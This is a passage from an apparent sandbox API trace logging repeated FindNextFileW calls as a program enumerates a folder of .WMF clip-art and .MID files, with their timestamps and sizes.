lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x57852200, ftCreationTime.dwHighDateTime=0x1bd4b33, ftLastAccessTime.dwLowDateTime=0x51fbcc50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x57852200, ftLastWriteTime.dwHighDateTime=0x1bd4b33, nFileSizeHigh=0x0, nFileSizeLow=0x1b1a, dwReserved0=0x0, dwReserved1=0x0, cFileName="EN00202_.WMF", cAlternateFileName="")) returned 1 [0245.633] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd7a68a00, ftCreationTime.dwHighDateTime=0x1bd4b29, ftLastAccessTime.dwLowDateTime=0x51fbcc50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd7a68a00, ftLastWriteTime.dwHighDateTime=0x1bd4b29, nFileSizeHigh=0x0, nFileSizeLow=0x3044, dwReserved0=0x0, dwReserved1=0x0, cFileName="EN00222_.WMF", cAlternateFileName="")) returned 1 [0245.633] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc1dc9900, ftCreationTime.dwHighDateTime=0x1bd4b18, ftLastAccessTime.dwLowDateTime=0x51fbcc50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc1dc9900, ftLastWriteTime.dwHighDateTime=0x1bd4b18, nFileSizeHigh=0x0, nFileSizeLow=0x1a7c, dwReserved0=0x0, dwReserved1=0x0, cFileName="EN00242_.WMF", cAlternateFileName="")) returned 1 [0245.633] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb7ec7300, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x51fbcc50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb7ec7300, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x8e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="EN00319_.WMF", cAlternateFileName="")) returned 1 [0245.634] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x24bc3900, ftCreationTime.dwHighDateTime=0x1bd4af5, ftLastAccessTime.dwLowDateTime=0x51fbcc50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x24bc3900, ftLastWriteTime.dwHighDateTime=0x1bd4af5, nFileSizeHigh=0x0, nFileSizeLow=0x2e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="EN00320_.WMF", cAlternateFileName="")) returned 1 [0245.634] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1131c200, ftCreationTime.dwHighDateTime=0x1bd4b37, ftLastAccessTime.dwLowDateTime=0x51fbcc50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1131c200, ftLastWriteTime.dwHighDateTime=0x1bd4b37, nFileSizeHigh=0x0, nFileSizeLow=0x439c, dwReserved0=0x0, dwReserved1=0x0, cFileName="EN00397_.WMF", cAlternateFileName="")) returned 1 [0245.634] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x51904f00, ftCreationTime.dwHighDateTime=0x1bd4bce, ftLastAccessTime.dwLowDateTime=0x51fbcc50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x51904f00, ftLastWriteTime.dwHighDateTime=0x1bd4bce, nFileSizeHigh=0x0, nFileSizeLow=0x1f08, dwReserved0=0x0, dwReserved1=0x0, cFileName="EN00902_.WMF", cAlternateFileName="")) returned 1 [0245.634] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x60af2a30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x2942, dwReserved0=0x0, dwReserved1=0x0, cFileName="EXPLR_01.MID", cAlternateFileName="")) returned 1 [0245.634] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x5226a510, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x12ee, dwReserved0=0x0, dwReserved1=0x0, cFileName="FALL_01.MID", cAlternateFileName="")) returned 1 [0245.635] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xadef6200, ftCreationTime.dwHighDateTime=0x1bd4b2d, ftLastAccessTime.dwLowDateTime=0x60c23530, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xadef6200, ftLastWriteTime.dwHighDateTime=0x1bd4b2d, nFileSizeHigh=0x0, nFileSizeLow=0x45ba, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD00074_.WMF", cAlternateFileName="")) returned 1 [0245.635] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaa5bdb00, ftCreationTime.dwHighDateTime=0x1bd4b2d, ftLastAccessTime.dwLowDateTime=0x5226a510, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xaa5bdb00, ftLastWriteTime.dwHighDateTime=0x1bd4b2d, nFileSizeHigh=0x0, nFileSizeLow=0x2eda, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD00076_.WMF", cAlternateFileName="")) returned 1 [0245.635] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb6bb4600, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x60c23530, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb6bb4600, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x7620, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD00077_.WMF", cAlternateFileName="")) returned 1 [0245.635] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb58a1900, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x5226a510, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb58a1900, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x721c, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD00086_.WMF", cAlternateFileName="")) returned 1 [0245.635] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a2c1c00, ftCreationTime.dwHighDateTime=0x1bd4b2d, ftLastAccessTime.dwLowDateTime=0x60c23530, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8a2c1c00, ftLastWriteTime.dwHighDateTime=0x1bd4b2d, nFileSizeHigh=0x0, nFileSizeLow=0x3772, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD00090_.WMF", cAlternateFileName="")) returned 1 [0245.636] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb458ec00, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x5226a510, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb458ec00, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x920e, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD00096_.WMF", cAlternateFileName="")) returned 1 [0245.636] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb1f69200, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x60c23530, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb1f69200, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x3df0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD00296_.WMF", cAlternateFileName="")) returned 1 [0245.636] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x54b40e00, ftCreationTime.dwHighDateTime=0x1bd4aee, ftLastAccessTime.dwLowDateTime=0x5226a510, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x54b40e00, ftLastWriteTime.dwHighDateTime=0x1bd4aee, nFileSizeHigh=0x0, nFileSizeLow=0x4712, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD00297_.WMF", cAlternateFileName="")) returned 1 [0245.636] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0c56500, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x60c23530, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb0c56500, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0xb6de, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD00306_.WMF", cAlternateFileName="")) returned 1 [0245.636] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf2c8c800, ftCreationTime.dwHighDateTime=0x1bd4b30, ftLastAccessTime.dwLowDateTime=0x5226a510, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf2c8c800, ftLastWriteTime.dwHighDateTime=0x1bd4b30, nFileSizeHigh=0x0, nFileSizeLow=0x17b4, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD00336_.WMF", cAlternateFileName="")) returned 1 [0245.637] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf943800, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x60c23530, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xaf943800, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0xfea, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD00361_.WMF", cAlternateFileName="")) returned 1 [0245.637] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfb6bcf00, ftCreationTime.dwHighDateTime=0x1bd4b2d, ftLastAccessTime.dwLowDateTime=0x5226a510, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfb6bcf00, ftLastWriteTime.dwHighDateTime=0x1bd4b2d, nFileSizeHigh=0x0, nFileSizeLow=0x2168, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD00369_.WMF", cAlternateFileName="")) returned 1 [0245.637] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfcdfcc00, ftCreationTime.dwHighDateTime=0x1bd4b1a, ftLastAccessTime.dwLowDateTime=0x60c23530, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfcdfcc00, ftLastWriteTime.dwHighDateTime=0x1bd4b1a, nFileSizeHigh=0x0, nFileSizeLow=0x20e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD00382_.WMF", cAlternateFileName="")) returned 1 [0245.637] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae630b00, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x5226a510, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xae630b00, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x2a40, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD00397_.WMF", cAlternateFileName="")) returned 1 [0245.637] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xad31de00, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x60c23530, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xad31de00, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x1ec6, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD00403_.WMF", cAlternateFileName="")) returned 1 [0245.968] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac00b100, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x60c23530, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xac00b100, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x2afa, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD00414_.WMF", cAlternateFileName="")) returned 1 [0245.968] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaacf8400, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x60c23530, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xaacf8400, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x400c, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD00419_.WMF", cAlternateFileName="")) returned 1 [0245.968] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa86d2a00, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x60c23530, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa86d2a00, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x12bc, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD00428_.WMF", cAlternateFileName="")) returned 1 [0245.969] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa73bfd00, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x5226a510, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa73bfd00, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x83c, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD00435_.WMF", cAlternateFileName="")) returned 1 [0245.969] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa60ad000, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x60c23530, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa60ad000, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x13ea, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD00438_.WMF", cAlternateFileName="")) returned 1 [0245.969] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa4d9a300, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x52290670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa4d9a300, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x22de, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD00455_.WMF", cAlternateFileName="")) returned 1 [0245.969] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa3a87600, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x52290670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa3a87600, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x43fe, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD00459_.WMF", cAlternateFileName="")) returned 1 [0245.969] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa2774900, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x52290670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa2774900, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x5c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD00543_.WMF", cAlternateFileName="")) returned 1 [0245.970] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf50d3100, ftCreationTime.dwHighDateTime=0x1bd4af4, ftLastAccessTime.dwLowDateTime=0x52290670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf50d3100, ftLastWriteTime.dwHighDateTime=0x1bd4af4, nFileSizeHigh=0x0, nFileSizeLow=0x148c, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD00544_.WMF", cAlternateFileName="")) returned 1 [0245.970] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecb4f600, ftCreationTime.dwHighDateTime=0x1bd4af4, ftLastAccessTime.dwLowDateTime=0x52290670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xecb4f600, ftLastWriteTime.dwHighDateTime=0x1bd4af4, nFileSizeHigh=0x0, nFileSizeLow=0x380, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD00564_.WMF", cAlternateFileName="")) returned 1 [0245.970] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd4dd7200, ftCreationTime.dwHighDateTime=0x1bd4af4, ftLastAccessTime.dwLowDateTime=0x52290670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd4dd7200, ftLastWriteTime.dwHighDateTime=0x1bd4af4, nFileSizeHigh=0x0, nFileSizeLow=0x2f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD00586_.WMF", cAlternateFileName="")) returned 1 [0245.970] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbef0a100, ftCreationTime.dwHighDateTime=0x1bd4b36, ftLastAccessTime.dwLowDateTime=0x52290670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbef0a100, ftLastWriteTime.dwHighDateTime=0x1bd4b36, nFileSizeHigh=0x0, nFileSizeLow=0x2b90, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD00775_.WMF", cAlternateFileName="")) returned 1 [0245.970] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd2364900, ftCreationTime.dwHighDateTime=0x1bd4b03, ftLastAccessTime.dwLowDateTime=0x52290670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd2364900, ftLastWriteTime.dwHighDateTime=0x1bd4b03, nFileSizeHigh=0x0, nFileSizeLow=0x2332, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD00779_.WMF", cAlternateFileName="")) returned 1 [0245.970] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb4adb300, ftCreationTime.dwHighDateTime=0x1bd4af4, ftLastAccessTime.dwLowDateTime=0x52290670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb4adb300, ftLastWriteTime.dwHighDateTime=0x1bd4af4, nFileSizeHigh=0x0, nFileSizeLow=0x3690, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD00799_.WMF", cAlternateFileName="")) returned 1 [0245.971] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xad86a500, ftCreationTime.dwHighDateTime=0x1bd4af4, ftLastAccessTime.dwLowDateTime=0x52290670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xad86a500, ftLastWriteTime.dwHighDateTime=0x1bd4af4, nFileSizeHigh=0x0, nFileSizeLow=0xa6d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD00814_.WMF", cAlternateFileName="")) returned 1 [0245.971] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95fdeb00, ftCreationTime.dwHighDateTime=0x1bd4af9, ftLastAccessTime.dwLowDateTime=0x60c49690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x95fdeb00, ftLastWriteTime.dwHighDateTime=0x1bd4af9, nFileSizeHigh=0x0, nFileSizeLow=0x3b3c, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD00965_.WMF", cAlternateFileName="")) returned 1 [0245.971] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9963a600, ftCreationTime.dwHighDateTime=0x1bd4bcf, ftLastAccessTime.dwLowDateTime=0x60c49690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9963a600, ftLastWriteTime.dwHighDateTime=0x1bd4bcf, nFileSizeHigh=0x0, nFileSizeLow=0x121a, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD01074_.WMF", cAlternateFileName="")) returned 1 [0245.971] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf455c700, ftCreationTime.dwHighDateTime=0x1bd4be8, ftLastAccessTime.dwLowDateTime=0x60c49690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf455c700, ftLastWriteTime.dwHighDateTime=0x1bd4be8, nFileSizeHigh=0x0, nFileSizeLow=0x96c, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD01084_.WMF", cAlternateFileName="")) returned 1 [0245.971] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78ff1000, ftCreationTime.dwHighDateTime=0x1bd4bfe, ftLastAccessTime.dwLowDateTime=0x60c49690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78ff1000, ftLastWriteTime.dwHighDateTime=0x1bd4bfe, nFileSizeHigh=0x0, nFileSizeLow=0x1378, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD01176_.WMF", cAlternateFileName="")) returned 1 [0245.971] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4d752900, ftCreationTime.dwHighDateTime=0x1bd4bf0, ftLastAccessTime.dwLowDateTime=0x60c49690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4d752900, ftLastWriteTime.dwHighDateTime=0x1bd4bf0, nFileSizeHigh=0x0, nFileSizeLow=0xf7c, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD01191_.WMF", cAlternateFileName="")) returned 1 [0245.972] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97014c00, ftCreationTime.dwHighDateTime=0x1bd4bcf, ftLastAccessTime.dwLowDateTime=0x52290670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x97014c00, ftLastWriteTime.dwHighDateTime=0x1bd4bcf, nFileSizeHigh=0x0, nFileSizeLow=0x488, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD01193_.WMF", cAlternateFileName="")) returned 1 [0245.972] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x49e1a200, ftCreationTime.dwHighDateTime=0x1bd4bf0, ftLastAccessTime.dwLowDateTime=0x60c49690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x49e1a200, ftLastWriteTime.dwHighDateTime=0x1bd4bf0, nFileSizeHigh=0x0, nFileSizeLow=0x91c, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD01196_.WMF", cAlternateFileName="")) returned 1 [0245.972] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80cfde00, ftCreationTime.dwHighDateTime=0x1bf3242, ftLastAccessTime.dwLowDateTime=0x60c49690, ftLastAccessTime.dwHighDateTime=0x1d301bf, 